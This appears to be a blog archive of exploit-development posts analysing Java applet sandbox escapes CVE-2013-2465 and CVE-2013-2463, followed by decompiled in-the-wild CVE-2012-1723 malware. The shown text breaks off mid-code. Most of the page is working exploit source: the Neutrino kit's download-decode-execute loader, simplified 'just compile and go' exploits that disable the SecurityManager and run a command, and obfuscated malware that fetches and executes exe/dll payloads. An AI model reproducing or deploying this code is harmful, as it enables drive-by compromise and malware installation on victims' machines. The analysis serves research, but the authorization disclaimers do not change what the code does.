Category Archives: Exploit Development

A Java 6 killer – CVE-2013-2465 (update, now with CVE-2013-2463)

Now after my 30 day lab time at OffSec’s CTP course is up (awesome, more on that later), onto CVE-2013-2465, which can exploit all of Java 6, including the latest (6u45), as well as Java 7u21 and below and Java 5u45 and below. As noted elsewhere, this exploit, among many others, is significant as Java6u45 will not be patched by Oracle, so anyone not upgrading to Java 7 (ie the latest out there) will be easily exploited… not that Java 7 is much better, but at least it’s being patched… on occasion…

A nice source to take a look at these exploits can be found here (and great blog overall): http://malware.dontneedcoffee.com/2013/08/cve-2013-2465-integrating-exploit-kits.html. They also seem to have CVE-2013-2463, which there seems to be a buzz about, so will probably take a look at that later:

 

UPDATE: I decided I didn’t need sleep, took a look at the Neutrino CVE-2013-2463 acquired from dontneedcoffee.com as well as CVE-2013-2465. They are nearly the same, so figured might as well include both here 🙂

Anyway, I wanted to see how this exploit worked and put together some working code, so I downloaded Neutrino’s take on the exploit, and analyzed it (‘deobfuscating’ manually of course… I use that term loosely this time).

Starting with CVE-2013-2465:

alt(simplified)alt(original)drpijkikjjikjkikji
Alt.java

import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Alt extends Applet
{
  private static final String space = "[0-9]";
  private boolean _is64 = System.getProperty("os.arch", "").contains("64");

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (ism()); i++)
        attempt();
      if (ism())
        System.exit(0);
      String str = getParameter("exec");
      byte[] arrayOfByte = getParameter("xkey").getBytes("ISO_8859_1");
      drp.dx(str, arrayOfByte);
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean ism()
  {
    return jki.gg() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = ijk.scs();
      String str = "setSecurityManager";
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = ikj.stt(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte = new DataBufferByte(16);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = ikj.stt(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { 
            new ProtectionDomain(new CodeSource(null, new Certificate[0]), 
            localPermissions) });
      arrayOfObject2[4] = jik.sgt(arrayOfObject2[2]);
      int i = arrayOfInt.length;
      BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = 
            new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + 
            (this._is64 ? 8 : 0));
      WritableRaster localWritableRaster = 
            Raster.createWritableRaster(localMultiPixelPackedSampleModel, 
            localDataBufferByte, null);
      BufferedImage localBufferedImage2 = new BufferedImage(new jki(), 
            localWritableRaster, false, null);
      localBufferedImage1.getRaster().setPixel(0, 0, 
            new int[] { -1, -1, -1, -1 });
      AffineTransformOp localAffineTransformOp = new AffineTransformOp(
            new AffineTransform(1.0F, 0.0F, 0.0F, 1.0F, 0.0F, 0.0F), null);
      localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
      int j = arrayOfInt.length;
      if (j == i)
        return 1;
      int k = 0;
      int m = arrayOfObject2.length;
      for (int n = i + 2; n < i + 32; n++)
        if ((arrayOfInt[(n - 1)] == m) && (arrayOfInt[n] == 0) && 
            (arrayOfInt[(n + 1)] == 0) && 
            (arrayOfInt[(n + 2)] != 0) && (arrayOfInt[(n + 3)] != 0) && 
            (arrayOfInt[(n + 4)] != 0) && 
            (arrayOfInt[(n + 5)] == 0) && (arrayOfInt[(n + 6)] == 0))
        {
          int i1 = arrayOfInt[(n + 4)];
          for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
            if (arrayOfInt[i2] == i1)
            {
              arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
              k = 1;
              break;
            }
          if (k != 0)
            break;
        }
      if (k != 0)
        try
        {
          kji.ste(arrayOfObject2[2]);
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  private byte[] pic(String paramString)
  {
    int i = paramString.length();
    byte[] arrayOfByte = new byte[i];
    for (int j = 0; j < i; j++);
    return arrayOfByte;
  }

  private String unpic(byte[] paramArrayOfByte)
  {
    StringBuilder localStringBuilder = new StringBuilder("");
    for (int i = 0; i < paramArrayOfByte.length; i++)
      localStringBuilder.append('A');
    return localStringBuilder.toString();
  }
}
Alt.java

import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Alt extends Applet
{
  private static final String space = "[0-9]";
  private boolean _is64 = System.getProperty("os.arch", "").contains("23658960895608958238905234850894369806320987698476264".substring(51));

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (ism()); i++)
        attempt();
      if (ism())
        System.exit(0);
      String str = getParameter("7383568568e464564568465656x568458456845684568e6546845685684568c45845684878467864757584".replaceAll("[0-9]", ""));
      byte[] arrayOfByte = getParameter("357868538x456845685368363865754767638967895738565437568568k65835683568335683456836e5658356856865856356y65548548685454".replaceAll("[0-9]", "")).getBytes("ISO_8859_1");
      drp.dx(str, arrayOfByte);
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean ism()
  {
    return jki.gg() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = ijk.scs();
      String str = "5787296778996057409608997181782001s38e45005225928t79487S9124417301e27388412740c6808u26779r304867i957349t193364y67997M1510a86087n53122a574023961g057026331060e06143687r9043645745487".replaceAll("[0-9]", "");
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = ikj.stt(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte = new DataBufferByte(16);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = ikj.stt(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { new ProtectionDomain(new CodeSource(null, new Certificate[0]), localPermissions) });
      arrayOfObject2[4] = jik.sgt(arrayOfObject2[2]);
      int i = arrayOfInt.length;
      BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + (this._is64 ? 8 : 0));
      WritableRaster localWritableRaster = Raster.createWritableRaster(localMultiPixelPackedSampleModel, localDataBufferByte, null);
      BufferedImage localBufferedImage2 = new BufferedImage(new jki(), localWritableRaster, false, null);
      localBufferedImage1.getRaster().setPixel(0, 0, new int[] { -1, -1, -1, -1 });
      AffineTransformOp localAffineTransformOp = new AffineTransformOp(new AffineTransform(1.0F, 0.0F, 0.0F, 1.0F, 0.0F, 0.0F), null);
      localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
      int j = arrayOfInt.length;
      if (j == i)
        return 1;
      int k = 0;
      int m = arrayOfObject2.length;
      for (int n = i + 2; n < i + 32; n++)
        if ((arrayOfInt[(n - 1)] == m) && (arrayOfInt[n] == 0) && (arrayOfInt[(n + 1)] == 0) && (arrayOfInt[(n + 2)] != 0) && (arrayOfInt[(n + 3)] != 0) && (arrayOfInt[(n + 4)] != 0) && (arrayOfInt[(n + 5)] == 0) && (arrayOfInt[(n + 6)] == 0))
        {
          int i1 = arrayOfInt[(n + 4)];
          for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
            if (arrayOfInt[i2] == i1)
            {
              arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
              k = 1;
              break;
            }
          if (k != 0)
            break;
        }
      if (k != 0)
        try
        {
          kji.ste(arrayOfObject2[2]);
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  private byte[] pic(String paramString)
  {
    int i = paramString.length();
    byte[] arrayOfByte = new byte[i];
    for (int j = 0; j < i; j++);
    return arrayOfByte;
  }

  private String unpic(byte[] paramArrayOfByte)
  {
    StringBuilder localStringBuilder = new StringBuilder("");
    for (int i = 0; i < paramArrayOfByte.length; i++)
      localStringBuilder.append('A');
    return localStringBuilder.toString();
  }
}
drp.java

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import javax.xml.bind.DatatypeConverter;

class drp
{
  private static String db64(String paramString)
    throws UnsupportedEncodingException
  {
    byte[] arrayOfByte = DatatypeConverter.parseBase64Binary(paramString);
    return new String(arrayOfByte, "UTF-8");
  }

  public static void dx(String paramString, byte[] paramArrayOfByte)
    throws IOException
  {
    if (paramString.isEmpty())
      System.exit(0);
    if (!paramString.startsWith("http"))
      paramString = db64(paramString);
    if (!paramString.startsWith("http"))
      System.exit(0);
    ReadableByteChannel localReadableByteChannel = null;
    try
    {
      localReadableByteChannel = 
        Channels.newChannel(new URL(paramString).openStream());
    }
    catch (IOException localIOException)
    {
      System.exit(0);
    }
    for (ByteBuffer localByteBuffer = ByteBuffer.allocate(4096); 
        localReadableByteChannel.read(localByteBuffer) != -1; 
        localByteBuffer = rsb(localByteBuffer));
    byte[] arrayOfByte = new byte[localByteBuffer.position()];
    localByteBuffer.position(0);
    localByteBuffer.get(arrayOfByte);
    File localFile = File.createTempFile("~tmf", null);
    FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
    int i = paramArrayOfByte.length;
    for (int j = 0; j < arrayOfByte.length; j++)
      arrayOfByte[j] = ((byte)(arrayOfByte[j] ^ paramArrayOfByte[(j % i)]));
    localFileOutputStream.write(arrayOfByte);
    localFileOutputStream.flush();
    localFileOutputStream.close();
    Runtime.getRuntime().exec(new String[] { localFile.getAbsolutePath() });
    System.exit(0);
  }

  private static ByteBuffer rsb(ByteBuffer paramByteBuffer)
  {
    ByteBuffer localByteBuffer = paramByteBuffer;
    if (paramByteBuffer.remaining() < 4096)
    {
      localByteBuffer = ByteBuffer.allocate(paramByteBuffer.capacity() * 2);
      paramByteBuffer.flip();
      localByteBuffer.put(paramByteBuffer);
    }
    return localByteBuffer;
  }
}
ijk.java

import java.awt.color.ICC_ColorSpace;
import java.awt.color.ICC_Profile;

public class ijk extends ICC_ColorSpace
{
  public ijk()
  {
    super(ICC_Profile.getInstance(1000));
  }

  public int getNumComponents()
  {
    int i = 1;
    return i;
  }

  public static Class scs()
  {
    return System.class;
  }
}
ikj.java

import java.beans.Statement;

public class ikj
{
  public static Object stt(Object paramObject, String paramString, 
    Object[] paramArrayOfObject)
    throws Exception
  {
    return new Statement(paramObject, paramString, paramArrayOfObject);
  }
}
jik.java

import java.beans.Statement;

public class jik
{
  public static Object sgt(Object paramObject)
  {
    return ((Statement)paramObject).getTarget();
  }
}
jki.java

import java.awt.image.ComponentColorModel;
import java.awt.image.Raster;

public class jki extends ComponentColorModel
{
  public jki()
  {
    super(new ijk(), new int[] { 8, 8, 8 }, false, false, 1, 0);
  }

  public boolean isCompatibleRaster(Raster paramRaster)
  {
    boolean bool = true;
    return bool;
  }

  public static SecurityManager gg()
  {
    return System.getSecurityManager();
  }
}
kji.java

import java.beans.Statement;

public class kji
{
  public static void ste(Object paramObject)
  {
    try
    {
      ((Statement)paramObject).execute();
    }
    catch (Exception localException)
    {
    }
  }
}

After some review, honestly, the exploit has very little obfuscation. Really, Alt.java is the most notable file, as it contains the actual exploit (the “attempt” function). The only other two files that are necessary are ijk.java (it extends ICC_ColorSpace) and jki (extends ComponentColorModel).

This is the reduced files (which as always, will pop up calc.exe upon exploit).

Note: Remember to only use this on machines you’re authorized to exploit, anything else is illegal!

appletMainmyColorModelmyColorSpace
Alt.java

import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.beans.Statement;

public class Alt extends Applet
{
  private boolean _is64 = System.getProperty("os.arch", "").contains("64");

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (isSecManNotNull()); i++)
      {
        attempt();
      }
      if (isSecManNotNull())
      {
         System.exit(0);
      }
      Runtime.getRuntime().exec(new String[] { "calc.exe" });
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean isSecManNotNull()
  {
    return System.getSecurityManager() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = getSystemClass();
      String str = "setSecurityManager";
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = new Statement(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte = new DataBufferByte(16);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = new Statement(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { 
            new ProtectionDomain(new CodeSource(null, new Certificate[0]), 
            localPermissions) });
      arrayOfObject2[4] = ((Statement)arrayOfObject2[2]).getTarget();
      int i = arrayOfInt.length;
      BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = 
            new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + 
            (this._is64 ? 8 : 0));
      WritableRaster localWritableRaster = 
            Raster.createWritableRaster(localMultiPixelPackedSampleModel, 
            localDataBufferByte, null);
      BufferedImage localBufferedImage2 = new BufferedImage(
            new myColorModel(), localWritableRaster, false, null);
      localBufferedImage1.getRaster().setPixel(0, 0, 
            new int[] { -1, -1, -1, -1 });
      AffineTransformOp localAffineTransformOp = 
            new AffineTransformOp(new AffineTransform(1.0F, 0.0F, 
            0.0F, 1.0F, 0.0F, 0.0F), null);
      localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
      int j = arrayOfInt.length;
      if (j == i)
        return 1;
      int k = 0;
      int m = arrayOfObject2.length;
      for (int n = i + 2; n < i + 32; n++)
        if ((arrayOfInt[(n - 1)] == m) 
            && (arrayOfInt[n] == 0) 
            && (arrayOfInt[(n + 1)] == 0) 
            && (arrayOfInt[(n + 2)] != 0) 
            && (arrayOfInt[(n + 3)] != 0) 
            && (arrayOfInt[(n + 4)] != 0) 
            && (arrayOfInt[(n + 5)] == 0) 
            && (arrayOfInt[(n + 6)] == 0))
        {
          int i1 = arrayOfInt[(n + 4)];
          for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
            if (arrayOfInt[i2] == i1)
            {
              arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
              k = 1;
              break;
            }
          if (k != 0)
            break;
        }
      if (k != 0)
        try
        {
          ((Statement)arrayOfObject2[2]).execute();
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  private byte[] pic(String paramString)
  {
    int i = paramString.length();
    byte[] arrayOfByte = new byte[i];
    for (int j = 0; j < i; j++);
    return arrayOfByte;
  }

  private String unpic(byte[] paramArrayOfByte)
  {
    StringBuilder localStringBuilder = new StringBuilder("");
    for (int i = 0; i < paramArrayOfByte.length; i++)
      localStringBuilder.append('A');
    return localStringBuilder.toString();
  }

  public static Class getSystemClass()
  {
    return System.class;
  }
}
Alt.java

import java.awt.image.ComponentColorModel;
import java.awt.image.Raster;

public class myColorModel extends ComponentColorModel
{
  public myColorModel()
  {
    super(new myColorSpace(), new int[] { 8, 8, 8 }, false, false, 1, 0);
  }

  public boolean isCompatibleRaster(Raster paramRaster)
  {
    boolean bool = true;
    return bool;
  }
}
Alt.java

import java.awt.color.ICC_ColorSpace;
import java.awt.color.ICC_Profile;

public class myColorSpace extends ICC_ColorSpace
{
  public myColorSpace()
  {
    super(ICC_Profile.getInstance(1000));
  }

  public int getNumComponents()
  {
    int i = 1;
    return i;
  }
}

And, the result against Java6u45 (no click to run apparently necessary):
cve-2013-2465-success

The CVE description says this is related to “Incorrect image channel verification”.

The key seems to be where the AccessControlContext class is essentially passed a Permissions object containing AllPermission(). From what I gather, AffineTransformOp has a call to a vulnerable storeImageArray() method, which seems to have something like a buffer overflow vulnerability, where once outside of that buffer, you are working outside of the sandbox (or something like that, Java isn’t my specialty). Then you use the AllPermissions Permission to work without a Security Manager.

Update:
Now, taking a look at CVE-2013-2463, the code is just about the same, it just exploits AlphaComposite.Src.createContext instead of AffineTransformOp. But the end code is very similar (the key different areas are bolded). Also, only a single class is used for this exploit.

appletMain
Alt.java

import java.applet.Applet;
import java.awt.AlphaComposite;
import java.awt.CompositeContext;
import java.awt.image.DataBufferByte;
import java.awt.image.IndexColorModel;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.beans.Statement;

public class Alt2 extends Applet
{

  private boolean _is64 = System.getProperty("os.arch", "").contains("64");

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (isSecManNotNull()); i++)
      {
        attempt();
      }
      if (isSecManNotNull())
      {
         System.exit(0);
      }
      Runtime.getRuntime().exec(new String[] { "calc.exe" });
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean isSecManNotNull()
  {
    return System.getSecurityManager() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = getSystemClass();
      String str = "setSecurityManager";
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = new Statement(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte1 = new DataBufferByte(9);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = new Statement(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { 
            new ProtectionDomain(new CodeSource(null, new Certificate[0]), 
            localPermissions) });
      arrayOfObject2[4] = ((Statement)arrayOfObject2[2]).getTarget();
      int i = arrayOfInt.length;
      DataBufferByte localDataBufferByte2 = new DataBufferByte(8);
      for (int j = 0; j < 8; j++)
        localDataBufferByte2.setElem(j, -1);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel1 = 
            new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 0);
      WritableRaster localWritableRaster1 = Raster.createWritableRaster(
            localMultiPixelPackedSampleModel1, localDataBufferByte2, null);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel2 = 
            new MultiPixelPackedSampleModel(0, 4, 2, 1, 
            1073741789 - (this._is64 ? 16 : 0), 288 + (this._is64 ? 128 : 0));
      WritableRaster localWritableRaster2 = Raster.createWritableRaster(
            localMultiPixelPackedSampleModel2, localDataBufferByte1, null);
      byte[] arrayOfByte = { 0, -1 };
      IndexColorModel localIndexColorModel = new IndexColorModel(1, 2, 
            arrayOfByte, arrayOfByte, arrayOfByte);
      CompositeContext localCompositeContext = 
            AlphaComposite.Src.createContext(
            localIndexColorModel, localIndexColorModel, null);
      localCompositeContext.compose(localWritableRaster1, 
            localWritableRaster2, localWritableRaster2);
      int k = arrayOfInt.length;
      if (k == i)
        return 1;
      int m = 0;
      int n = arrayOfObject2.length;
      for (int i1 = i + 2; i1 < i + 32; i1++)
        if ((arrayOfInt[(i1 - 1)] == n) 
            && (arrayOfInt[i1] == 0) 
            && (arrayOfInt[(i1 + 1)] == 0) 
            && (arrayOfInt[(i1 + 2)] != 0) 
            && (arrayOfInt[(i1 + 3)] != 0) 
            && (arrayOfInt[(i1 + 4)] != 0) 
            && (arrayOfInt[(i1 + 5)] == 0) 
            && (arrayOfInt[(i1 + 6)] == 0))
        {
          int i2 = arrayOfInt[(i1 + 4)];
          for (int i3 = i1 + 7; i3 < i1 + 7 + 64; i3++)
            if (arrayOfInt[i3] == i2)
            {
              arrayOfInt[(i3 - 1)] = arrayOfInt[(i1 + 3)];
              m = 1;
              break;
            }
          if (m != 0)
            break;
        }
      if (m != 0)
        try
        {
          ((Statement)arrayOfObject2[2]).execute();
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  public static Class getSystemClass()
  {
    return System.class;
  }
}

The behavior of CVE-2013-2463 appears to be the same as CVE-2013-2465. Neither trigger a click-to-run Java warning, they both just run, exploit, and pop up calc.exe with no problems.

In any case, some fairly simple source code for this exploits are above, and no special byte code alterations needed like last time, just compile and go.

As always, again:

Note: Remember to only use this on machines you’re authorized to exploit, anything else is illegal!

And if you run Java… just uninstall or at least patch…

Last year’s Java exploit – CVE-2012-1723

One of my many hobbies is looking into exploits others write. As I used to do some development in Java, I have been collecting actual java exploit being used in the wild. While this is nothing really new, I don’t see many examples of actual obfuscated malware online, so I figured I’d post an example.

I use a dedicated (and likely very much infected) machine to hunt for infected sites. All packets going in and out of my network are dumped in pcap files, so it was simple enough to extract the packets containing the malicious JAR file.

I used Java Decompiler – GUI to extract the actual (obfuscated) java code. Below is an example of one I looked into a few weeks ago.

imagegalFfaqsTVXZ
imagegal.java

import java.applet.Applet;

public class imagegal extends Applet
{
  static String par;
  static int type;
  static int type2;

  public void start()
  {
    try
    {
      FuckKAsp11111 localFuckKAsp11111 = new FuckKAsp11111();
      type = 0;
      type2 = 0;
      try 
      {
        type = Integer.parseInt(VasgfrawE.get_par_arr[0]);
        String str1 = "____________9999999999999999999999999999";
        type2 = Integer.parseInt(VasgfrawE.get_par_arr[1]); 
      } 
      catch (Exception localException) 
      {
      }
      par = getParameter(VasgfrawE.get_par_arr[2]);
      String str2 = "____________9999999999999999999999999999";
      localFuckKAsp11111.GEWfgwr4wfefwef();
    }
    catch (Throwable localThrowable)
    {
    }
  }
}
FuckKAsp11111.java

import java.applet.Applet;
import java.net.URL;
import java.util.concurrent.TimeUnit;

public class FuckKAsp11111 extends Applet
{
  static String str = ".io.tmpdir";
  static ZuyuyuyuZ ldr;

  public void GEWfgwr4wfefwef()
  {
    XLR localXLR = new XLR();
    for (int i = 0; i < 100000; i++) {
      localXLR.dsvfdbgrterwes(null, null, null);
    }
    try
    {
      String str1 = "____________9999999999999999999999999999";
      TimeUnit.MILLISECONDS.sleep(10L); 
    } 
    catch (InterruptedException localInterruptedException) 
    {
    }
    String str2 = "____________9999999999999999999999999999";
    ldr = localXLR.dsvfdbgrterwes(null, getClass().getClassLoader(), null);
    ZuyuyuyuZ.frwgtehg4wre();
    String str3 = "____________9999999999999999999999999999";
  }

  public static void fbgrthegrDSF(String paramString1, 
      String paramString2, String paramString3, int paramInt)
  {
    try
    {
      byte[] arrayOfByte = new byte[512];
      String str1 = "____________9999999999999999999999999999";
      String str2 = "____________9999999999999999999999999999";
      String str3 = qDSJHFJHSDFGDSIKFJHD.gr4rgrgsfg(paramString1.length(), 
            paramString1, qDSJHFJHSDFGDSIKFJHD.s2, qDSJHFJHSDFGDSIKFJHD.s1);
      String str4 = "";
      str4 = qDSJHFJHSDFGDSIKFJHD.JMGGGGGGGGJMJ(s787654678DDD.SiJI, str4);
      String str5 = "____________9999999999999999999999999999";
      String str6 = "____________9999999999999999999999999999";
      URL localURL = new URL(str3 + paramString3);
      String str7 = "____________9999999999999999999999999999";
      String str8 = str4 + paramString2 + qDSJHFJHSDFGDSIKFJHD.fna + 
            s787654678DDD.Filetupe[paramInt];
      String str9 = "____________9999999999999999999999999999";
      s787654678DDD.dsvseafwvv(s787654678DDD.SiJI, localURL, 
            arrayOfByte, str8, paramInt);
    }
    catch (Exception localException)
    {
    }
  }
}
fYGVBJHGHJH666.java

 

import java.net.URL;
import java.security.cert.Certificate;

public class fYGVBJHGHJH666
{
  public static void vsfberwe(String paramString)
    throws Exception
  {
    Certificate[] arrayOfCertificate = new Certificate[0];
    String str1 = "____________9999999999999999999999999999";

    URL localURL = new URL(paramString);
    Tdsfdbte54.bgnhtyrthe(localURL, arrayOfCertificate);
    String str2 = "____________9999999999999999999999999999";
  }
}
aJHJKHGYJVHKKJ.java

 

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class aJHJKHGYJVHKKJ
  implements PrivilegedExceptionAction
{
  String PTROTODIR = "";
  String StrJava = "ja";

  public aJHJKHGYJVHKKJ()
  {
    try {
      AccessController.doPrivileged(this);
    }
    catch (Exception localException) {
    }
  }

  public Object run() {
    try {
      test();
      String str1 = "____________9999999999999999999999999999";
      FuckKAsp11111.fbgrthegrDSF(imagegal.par, "1", "", imagegal.type);
      String str2 = "____________9999999999999999999999999999";
      FuckKAsp11111.fbgrthegrDSF(imagegal.par, "2", "/2", imagegal.type2);
      String str3 = "____________9999999999999999999999999999";
    } catch (Exception localException) {
    }
    return null;
  }

  public void test() throws Exception {
    String str = "____________9999999999999999999999999999";
    System.setSecurityManager(null);
  }
}
qDSJHFJHSDFGDSIKFJHD.java

 

import java.lang.reflect.Method;

public class qDSJHFJHSDFGDSIKFJHD extends Tdsfdbte54
{
  static ClassLoader A;
  static String s1 = 
"0123456789abcdefghijklmnopqrstuvwxyz.AB".concat("CDEFGHIJKLMNOPQRSTUVWXYZ/:_-?&=%#");
  static String s2 = 
"lxwLGr43qDEvuYp59AcU0ba7ojzithnfQ".concat("OsC8NXRM6TeISV-_%.&/:#?=dWgmKFHyBk2ZPJ1");
  ZuyuyuyuZ Perdinya71;
  ZuyuyuyuZ Perdinya72;
  ZuyuyuyuZ Perdinya73;
  ZuyuyuyuZ Perdinya74;
  ZuyuyuyuZ Perdinya75;
  ZuyuyuyuZ Perdinya76;
  ZuyuyuyuZ Perdinya77;
  ZuyuyuyuZ Perdinya78;
  ZuyuyuyuZ Perdinya79;
  ZuyuyuyuZ Perdinya80;
  ZuyuyuyuZ Perdinya81;
  ZuyuyuyuZ Perdinya82;
  ZuyuyuyuZ Perdinya83;
  ZuyuyuyuZ Perdinya84;
  ZuyuyuyuZ Perdinya85;
  ZuyuyuyuZ Perdinya86;
  ZuyuyuyuZ Perdinya87;
  ZuyuyuyuZ Perdinya88;
  ZuyuyuyuZ Perdinya89;
  ZuyuyuyuZ Perdinya90;
  static String a63 = "____________9999999999999999999999999999";
  ZuyuyuyuZ Perdinya91;
  ZuyuyuyuZ Perdinya92;
  ZuyuyuyuZ Perdinya93;
  ZuyuyuyuZ Perdinya94;
  ZuyuyuyuZ Perdinya95;
  ZuyuyuyuZ Perdinya96;
  ZuyuyuyuZ Perdinya97;
  ZuyuyuyuZ Perdinya98;
  ZuyuyuyuZ Perdinya99;
  ZuyuyuyuZ Perdinya100;
  static String fna = "SKKKKKKK.";
  static String xxx = "toString";

  public static String JMGGGGGGGGJMJ(String paramString1, String paramString2)
  {
    String str1 = "____________9999999999999999999999999999";
    paramString2 = System.getProperty(paramString1 + FuckKAsp11111.str);
    String str2 = "____________9999999999999999999999999999";
    return paramString2;
  }

  public static String gr4rgrgsfg(int paramInt, String paramString1, 
      String paramString2, String paramString3)
  {
    String str1 = "";
    try {
      for (int i = 0; i < paramInt; i++) {
        str2 = paramString1.substring(i, i + 1);
        int j = paramString2.indexOf(str2);
        if (j > -1)
        {
          String str3 = "44rst4t44rst4t44rst";
          StringBuilder localStringBuilder = new StringBuilder().append(
            str1).append(paramString3.substring(j, j + 1));
          str1 = (String)localStringBuilder.getClass().getMethod(
            xxx, null).invoke(localStringBuilder, new Object[0]);
          String str4 = "44rst4t44rst4t44rst";
        }
      }
    } catch (Exception localException) {
      localException.printStackTrace();
      String str2 = "44rst4t44rst4t44rst";
    }
    return str1;
  }
}
s787654678DDD.java

 

import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;

public class s787654678DDD
{
  static String[] Filetupe = { "exe", "dll" };

  static String SiJI = "java";

  static void dssss333(URL paramURL) throws Exception 
  { 
    paramURL.openConnection();
    String str1 = "____________9999999999999999999999999999";
    String str2 = "____________9999999999999999999999999999"; }

  public static void dsvseafwvv(String paramString1, URL paramURL, 
      byte[] paramArrayOfByte, String paramString2, int paramInt)
  {
    try 
    {
      String str1 = "____________9999999999999999999999999999";
      dssss333(paramURL);
      InputStream localInputStream = paramURL.openStream();
      FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
      String str2 = "____________9999999999999999999999999999";
      String str3 = "____________9999999999999999999999999999";
      VasgfrawE.sfbergwea43543534(localInputStream, paramArrayOfByte, 
            localFileOutputStream, paramString2, paramInt);
    }
    catch (Exception localException)
    {
    }
  }

  static void asgtergw33(String paramString, 
      int paramInt1, int paramInt2) throws Exception 
  {
    Runtime localRuntime = Runtime.getRuntime();
    if (paramInt2 > 1) {
      String str1 = "____________9999999999999999999999999999";
      if (paramInt1 == 0) {
        localRuntime.exec(ZuyuyuyuZ.cmd[0] + paramString);
      }
      String str2 = "____________9999999999999999999999999999";
      if (paramInt1 == 1) {
